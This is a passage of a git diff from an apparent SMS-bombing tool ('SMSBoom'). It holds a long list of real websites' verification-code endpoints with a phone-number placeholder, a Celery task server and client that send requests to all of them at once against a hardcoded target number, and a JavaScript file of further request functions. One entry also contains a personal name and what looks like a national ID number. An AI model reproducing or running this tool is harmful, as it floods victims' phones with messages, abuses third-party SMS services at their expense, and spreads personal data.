"desc": "憨鼠社区",
|
||||
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "天鹅到家",
|
||||
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "诺达筑工",
|
||||
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "栋才智慧",
|
||||
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "工伤预防网上培训平台",
|
||||
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "济宁专技",
|
||||
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"sendType": "4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "宁夏伊地地质工程有限公司",
|
||||
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "青春大学说",
|
||||
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone_number": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "兴业利达电子招投标平台",
|
||||
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"username": "[phone]",
|
||||
"type": "regUser",
|
||||
"mobile": "PC"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "火象",
|
||||
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"temp": "1",
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "中科教育",
|
||||
"url": "https://www.vipexam.cn/user/identifyingCode.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "聚题库",
|
||||
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "苏州高新区教育局",
|
||||
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "专业技术人员继续教育平台",
|
||||
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": {}
|
||||
},
|
||||
{
|
||||
"desc": "泰安专技",
|
||||
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"sendType": "4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "漏洞银行",
|
||||
"url": "https://www.bugbank.cn/api/verifymobile",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "中国劳动保障新闻网",
|
||||
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "广东省心理学会",
|
||||
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "费耘网",
|
||||
"url": "https://www.feeclouds.com/homepage/register/send",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"mobile": "[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "语雀web",
|
||||
"url": "https://www.yuque.com/api/validation_codes",
|
||||
"method": "POST",
|
||||
"header": {
|
||||
"referer": "https://www.yuque.com/register"
|
||||
},
|
||||
"data": {
|
||||
"target": "[phone]",
|
||||
"action": "register",
|
||||
"channel": "sms"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "甜糖app",
|
||||
"url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "网心云APP",
|
||||
"url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"protocolVersion": "301",
|
||||
"sequenceNo": "1000001",
|
||||
"platformVersion": "10",
|
||||
"isCompressed": "0",
|
||||
"appid": "22017",
|
||||
"clientVersion": "3.15.1",
|
||||
"peerID": "00000000000000000000000000000000",
|
||||
"appName": "ANDROID-com.onethingcloud.android",
|
||||
"sdkVersion": "204500",
|
||||
"devicesign": "div101.095893e2bfa13a199f83691076c8bbb9ab0d01f75c929975048142c2fa38402b",
|
||||
"netWorkType": "WIFI",
|
||||
"providerName": "NONE",
|
||||
"deviceModel": "M2102J2SC",
|
||||
"deviceName": "Xiaomi M2102j2sc",
|
||||
"OSVersion": "11",
|
||||
"creditkey": "",
|
||||
"hl": "zh-CN",
|
||||
"mobile": "[phone]",
|
||||
"register": "0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "乐教乐学",
|
||||
"url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "云杏HIS系统(九明珠)",
|
||||
"url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": "{'lxdh': [phone]}"
|
||||
},
|
||||
{
|
||||
"desc": "秘塔写作",
|
||||
"url": "https://xiezuocat.com/verify?type=signup",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "86-[phone]"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "CNMO 网站",
|
||||
"url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "DR钻戒web",
|
||||
"url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "有享云商web",
|
||||
"url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "研才教育app",
|
||||
"url": "https://mall.yancais.com/api/sms/send?phone=[phone]",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "成卓科技",
|
||||
"url": "https://callphone.hnczkj.cn/app_api/json/sendSms",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phone": "[phone]",
|
||||
"product": "biyingdianhua_ios",
|
||||
"key": "mwoe093fwef"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "加密电话",
|
||||
"url": "https://m.4009991000.com/valNumQry.action",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"appType": "1",
|
||||
"app_id": "5555",
|
||||
"mobileNo": "[phone]",
|
||||
"sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5",
|
||||
"src": "1",
|
||||
"v": "4.9.2",
|
||||
"validType": "3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "快应用美抽",
|
||||
"url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "小叶子app",
|
||||
"url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "牙e在线",
|
||||
"url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02×tamp=[timestamp]",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": "mobile=[phone]&smsType=02×tamp=[timestamp]"
|
||||
},
|
||||
{
|
||||
"desc": "某数图表web(存疑)",
|
||||
"url": "https://dycharts.com/vis/auth/send_signin_sms_code",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": {
|
||||
"phoneNo": "13809213237"
|
||||
}
|
||||
},
|
||||
{
|
||||
"desc": "17k小说网app",
|
||||
"url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "汇看点快应用",
|
||||
"url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG",
|
||||
"method": "POST",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "核桃编程app",
|
||||
"url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "永城至敏",
|
||||
"url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
},
|
||||
{
|
||||
"desc": "金中网",
|
||||
"url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3",
|
||||
"method": "GET",
|
||||
"header": "",
|
||||
"data": ""
|
||||
}
|
||||
]
|
||||
7
celery-client.py
Normal file
@@ -0,0 +1,7 @@
|
||||
from celery_server.tasks import asyncRun
|
||||
|
||||
# r = test.delay(1,2)
|
||||
# r2 = test.delay(1,2)
|
||||
|
||||
r = asyncRun.delay("13809213237")
|
||||
print(r.get())
|
||||
8
celery_server/README.MD
Normal file
@@ -0,0 +1,8 @@
|
||||
# Celery 异步服务器后端模块
|
||||
|
||||
## 部署
|
||||
```shell
|
||||
pip install celery gevent -i https://pypi.doubanio.com/simple/
|
||||
celery -A celery_server worker -l info --pool=eventlet
|
||||
```
|
||||
需要在 celery 5.0 中才能使用 async
|
||||
0
celery_server/__init__.py
Normal file
17
celery_server/celery.py
Normal file
@@ -0,0 +1,17 @@
|
||||
from celery import Celery
|
||||
from celery.utils.log import get_task_logger
|
||||
|
||||
app = Celery(
|
||||
'celery_server',
|
||||
include=[
|
||||
'celery_server.tasks'
|
||||
]
|
||||
)
|
||||
app.config_from_object(
|
||||
'celery_server.config',
|
||||
)
|
||||
|
||||
logger = get_task_logger(__name__)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.start()
|
||||
11
celery_server/config.py
Normal file
@@ -0,0 +1,11 @@
|
||||
#broker(消息中间件来接收和发送任务消息)
|
||||
BROKER_URL = 'redis://localhost:6379/1'
|
||||
#backend(存储worker执行的结果)
|
||||
CELERY_RESULT_BACKEND = 'redis://localhost:6379/2'
|
||||
|
||||
#设置时间参照,不设置默认使用的UTC时间
|
||||
CELERY_TIMEZONE = 'Asia/Shanghai'
|
||||
#指定任务的序列化
|
||||
CELERY_TASK_SERIALIZER='json'
|
||||
#指定执行结果的序列化
|
||||
CELERY_RESULT_SERIALIZER='json'
|
||||
87
celery_server/utils.py
Normal file
@@ -0,0 +1,87 @@
|
||||
# encoding=utf8
|
||||
# 请求的方法
|
||||
from smsboom import load_getapi, load_json
|
||||
from utils.log import logger
|
||||
from utils.models import API
|
||||
from utils import default_header
|
||||
import httpx
|
||||
from httpx import Limits
|
||||
from typing import Union, List
|
||||
import asyncio
|
||||
|
||||
import sys
|
||||
sys.path.append("E:\coding\SMSBoom")
|
||||
|
||||
|
||||
def reqAPI(api: API, client: httpx.AsyncClient):
|
||||
if isinstance(api.data, dict):
|
||||
resp = client.request(method=api.method, json=api.data,
|
||||
headers=api.header, url=api.url, timeout=10)
|
||||
else:
|
||||
resp = client.request(method=api.method, data=api.data,
|
||||
headers=api.header, url=api.url, timeout=10)
|
||||
return resp
|
||||
|
||||
|
||||
async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):
|
||||
"""异步请求方法
|
||||
:param:
|
||||
:return:
|
||||
"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
async with semaphore:
|
||||
async with httpx.AsyncClient(
|
||||
limits=Limits(max_connections=1000,
|
||||
max_keepalive_connections=2000),
|
||||
headers=default_header,
|
||||
verify=False,
|
||||
timeout=99999
|
||||
) as c:
|
||||
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(src, API):
|
||||
src = src.handle_API(ph)
|
||||
r = await reqAPI(src, c)
|
||||
else:
|
||||
# 利用元组传参安全因为元组不可修改
|
||||
s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
|
||||
"&", "").replace('\n', '').replace('\r', ''),)
|
||||
r = await c.get(*s)
|
||||
return r
|
||||
except httpx.HTTPError as why:
|
||||
# logger.error(f"异步请求失败{type(why)}")
|
||||
pass
|
||||
except TypeError:
|
||||
# logger.error("类型错误")
|
||||
pass
|
||||
except Exception as wy:
|
||||
# logger.exception(f"异步失败{wy}")
|
||||
pass
|
||||
|
||||
def callback(result):
|
||||
"""异步回调函数"""
|
||||
log = result.result()
|
||||
if log is not None:
|
||||
# logger.info(f"请求结果:{log.text[:30]}")
|
||||
print(log.text[:30])
|
||||
pass
|
||||
|
||||
|
||||
async def runAsync(apis: List[Union[API, str]], phone: Union[tuple, str]):
|
||||
|
||||
tasks = []
|
||||
|
||||
for api in apis:
|
||||
semaphore = asyncio.Semaphore(999999)
|
||||
task = asyncio.create_task(asyncReqs(api, phone, semaphore))
|
||||
task.add_done_callback(callback)
|
||||
tasks.append(task)
|
||||
|
||||
await asyncio.gather(
|
||||
*tasks
|
||||
)
|
||||
0
debug/__init__.py
Normal file
BIN
debug/api.db
Executable file
868
debug/api.js
Executable file
@@ -0,0 +1,868 @@
|
||||
/**
|
||||
* 第三方网站短信接口
|
||||
* 最后更新:2022-04-12
|
||||
* @type {*[]}
|
||||
*/
|
||||
var requestList = [
|
||||
{
|
||||
name: '工图网',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.900ppt.com/api/login/getSmsCode",
|
||||
data: {
|
||||
phone: phone,
|
||||
easy: 1
|
||||
},
|
||||
type: "GET",
|
||||
dataType: "json",
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '少儿编程',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",
|
||||
type: "POST",
|
||||
data: {phone: phone,},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '泰康在线',
|
||||
fn: function (phone) {
|
||||
function encrypt(data) {
|
||||
var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");
|
||||
var srcs = CryptoJS.enc.Utf8.parse(data);
|
||||
var encrypted = CryptoJS.AES.encrypt(srcs, key, {
|
||||
mode: CryptoJS.mode.ECB,
|
||||
padding: CryptoJS.pad.Pkcs7
|
||||
});
|
||||
return encrypted + "";
|
||||
}
|
||||
|
||||
phone = encodeURIComponent(encrypt(phone))
|
||||
$.ajax({
|
||||
'url': 'http://ecs.tk.cn/eservice/member/login',
|
||||
'type': 'POST',
|
||||
'data': 'syn=Y&functioncode=getmark&mobile=' + phone,
|
||||
'dataType': 'json',
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '千库编辑',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: 'https://editor.588ku.com/site-api/send-tel-login-code',
|
||||
type: 'GET',
|
||||
data: {
|
||||
num: phone,
|
||||
},
|
||||
async: false
|
||||
});
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "编程猫",
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: 'https://open-service.codemao.cn/captcha/rule',
|
||||
contentType: "application/json;charset=UTF-8",
|
||||
type: 'POST',
|
||||
data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',
|
||||
dataType: 'json',
|
||||
success: function (data) {
|
||||
$.ajax({
|
||||
url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',
|
||||
contentType: "application/json;charset=UTF-8",
|
||||
type: 'POST',
|
||||
data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',
|
||||
dataType: 'json',
|
||||
})
|
||||
}
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '迪卡侬',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||
type: "POST",
|
||||
data: {"countryCode": "CN", "mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '股海网',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'LLL的个人blog',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.lll.plus/sendCode/",
|
||||
type: "POST",
|
||||
data: {"tel": phone, "forgetPwd": ""},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '企米子',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.xcxui.com/index/register/getcode.html",
|
||||
type: "POST",
|
||||
data: {"tel": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '蒲公英',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://id.pgyer.com/user/getRegisterCode",
|
||||
type: "POST",
|
||||
data: {"tel": phone, "callingCode": "86", "mode": "tel"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '百卓优采',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||
type: "POST",
|
||||
data: {"mobile": phone, "captcha": ""},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '云背篓',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://brand.yunbeilou.com/index.php/smssend",
|
||||
type: "POST",
|
||||
data: {"phone": phone, "v": "yes"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'PHP中文网',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://m.php.cn/account/phone_code.html",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '12321',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://dhba.12321.cn/api/verifycode",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'Testin众测',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.ztestin.com/users/send/vercode",
|
||||
type: "POST",
|
||||
data: {"phone": phone, "type": "register", "voice": "0"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '海尔',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://maker.haier.net/client/user/sendregistervcode.html",
|
||||
type: "POST",
|
||||
data: {"account": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '飞猫云',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||
type: "POST",
|
||||
data: {"pcode": "+86", "phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '觉数字化平台',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://end.huajuetech.com/api/sendCode",
|
||||
type: "POST",
|
||||
data: {"mobile": phone, "email": "null", "verfy_method": "mobile"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '问政江西',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '河南智慧党建',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||
type: "POST",
|
||||
data: {"phone": phone, "verifytype": "1"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '陆陆陆云安全',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://cloud.666idc.com/index/login/sendsms.html",
|
||||
type: "POST",
|
||||
data: {"mobile": phone, "mobile_pre": "86"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '网易',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '码云社',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.codeseeding.com/loginUser/toSend",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '人才山东',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://sso.rcsd.cn/regist/getVerifyCode",
|
||||
type: "POST",
|
||||
data: {"personcall": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '水利部',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '七联大学',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||
type: "POST",
|
||||
data: {"phoneNumber": phone, "sendType": "0"}
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '闪德资讯',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.0101ssd.com/user/sendmsg",
|
||||
type: "POST",
|
||||
data: {"mobile": phone, "event": "register"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '江苏省名师空中课堂',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||
type: "POST",
|
||||
data: {"mobile": phone, "type": "1",},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: 'CSFF短片',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://csff.cutv.com/wapi/users/sendregcode",
|
||||
type: "POST",
|
||||
data: {"telphone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '广西人社厅',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx",
|
||||
type: "POST",
|
||||
data: {"aae005": phone, "aac003": "刘萌萌", "aac002": "210212198506035924", "notkeyflag": "1"},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '麦克赛尔数字映像',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||
type: "POST",
|
||||
data: {"action": "send", "txtMember_Name": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '宝提分',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '选型系统',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||
type: "GET",
|
||||
data: {"cmd": "GetTelVerifyCode", "Tel": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '千里马网信科技',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||
type: "POST",
|
||||
data: {"tips": "1", "shouji": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '保定云',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||
type: "POST",
|
||||
data: {"phone": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '欢动游戏',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://www.gm5.com/auth/registerSms.html",
|
||||
type: "POST",
|
||||
data: {"mobile": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '迈威',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.maiwe.com.cn/index/sendcode.html",
|
||||
type: "GET",
|
||||
data: {"tel": phone},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '憨鼠社区',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone="+phone+"&areaCode=86",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '天鹅到家',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
|
||||
type: "GET",
|
||||
data: {},
|
||||
dataType: "json",
|
||||
})
|
||||
}
|
||||
},
|
||||
{
|
||||
name: '诺达筑工',
|
||||
fn: function (phone) {
|
||||
$.ajax({
|
||||
url: "http://ks.ndzhugong.com/getVerificationCode?phone="+phone+"&password=&smscode=",
|
||||
type: "GET",
|
||||
data: {},
|
||||
